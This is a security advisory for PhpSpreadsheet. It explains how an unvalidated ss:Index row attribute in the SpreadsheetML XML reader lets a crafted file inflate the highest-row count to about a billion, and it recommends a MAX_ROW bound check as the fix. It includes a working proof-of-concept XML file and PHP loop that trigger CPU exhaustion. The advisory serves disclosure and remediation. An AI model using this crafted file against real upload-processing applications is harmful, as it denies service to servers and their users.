PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader

Summary

The SpreadsheetML XML reader (Reader\Xml) does not validate the ss:Index row attribute against the maximum allowed row count (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a SpreadsheetML XML file with ss:Index="999999999" on a <Row> element, which inflates the internal cachedHighestRow to ~1 billion. Any subsequent call to getRowIterator() without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service.

Details

In src/PhpSpreadsheet/Reader/Xml.php, the loadSpreadsheetFromFile method processes <Row> elements:

// Xml.php:397-402
if (isset($row_ss['Index'])) {
    $rowID = (int) $row_ss['Index']; // No validation against MAX_ROW
}
if (isset($row_ss['Hidden'])) {
    $rowVisible = ((string) $row_ss['Hidden']) !== '1';
    $spreadsheet->getActiveSheet()->getRowDimension($rowID)->setVisible($rowVisible);
}

The $rowID value read from ss:Index is cast to int with no upper bound check. It is then passed to getRowDimension():

// Worksheet.php:1342-1351
public function getRowDimension(int $row): RowDimension
{
    if (!isset($this->rowDimensions[$row])) {
        $this->rowDimensions[$row] = new RowDimension($row);
        $this->cachedHighestRow = max($this->cachedHighestRow, $row);
    }
    return $this->rowDimensions[$row];
}

This inflates cachedHighestRow to the attacker-controlled value. Additionally, at line 412, $cellRange = $columnID . $rowID is constructed and passed to getCell(), which calls createNewCell() (Worksheet.php:1294) and also sets cachedHighestRow.

The RowIterator constructor uses getHighestRow() as its default end row:

// RowIterator.php:84-88
public function resetEnd(?int $endRow = null): static
{
    $this->endRow = $endRow ?: $this->subject->getHighestRow();
    return $this;
}

With cachedHighestRow at ~1 billion, iterating over rows causes CPU exhaustion. The DefaultReadFilter provides no protection — it returns true for all cells.

Even without the Hidden attribute, any cell data within the row still uses the inflated $rowID at line 412, so the ss:Hidden attribute is not required to trigger the vulnerability.

PoC

1. Create poc.xml:

<?xml version="1.0"?>
<?mso-application progid="Excel.Sheet"?>
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"
 xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">
 <Worksheet ss:Name="Sheet1">
  <Table>
   <Row ss:Index="999999999" ss:Hidden="1"/>
   <Row><Cell><Data ss:Type="String">test</Data></Cell></Row>
  </Table>
 </Worksheet>
</Workbook>

2. Load and iterate:

<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;

$reader = IOFactory::createReader('Xml');
$spreadsheet = $reader->load('poc.xml');
$sheet = $spreadsheet->getActiveSheet();

echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Outputs: Highest row: 1000000000

// This loop will attempt ~1 billion iterations → CPU exhaustion
foreach ($sheet->getRowIterator() as $row) {
    // Never completes
}

Impact

Any PHP application that processes user-uploaded SpreadsheetML XML files using PhpSpreadsheet is vulnerable. An attacker can cause denial of service by:

• Exhausting server CPU with a single small XML file (~300 bytes)
• Blocking the PHP worker process, potentially affecting all concurrent users
• Triggering PHP max_execution_time limits that still consume resources before killing the process

The attack requires no authentication — only the ability to upload or cause the application to process a crafted SpreadsheetML file.

Recommended Fix

Add MAX_ROW validation after reading the ss:Index attribute in src/PhpSpreadsheet/Reader/Xml.php:

// After line 398:
if (isset($row_ss['Index'])) {
    $rowID = (int) $row_ss['Index'];
    if ($rowID > AddressRange::MAX_ROW) {
        $rowID = AddressRange::MAX_ROW;
    }
}

Add the necessary import at the top of the file:

use PhpOffice\PhpSpreadsheet\Cell\AddressRange;

The same validation should also be applied to the ss:Index attribute on <Cell> elements (line 409) for the column dimension.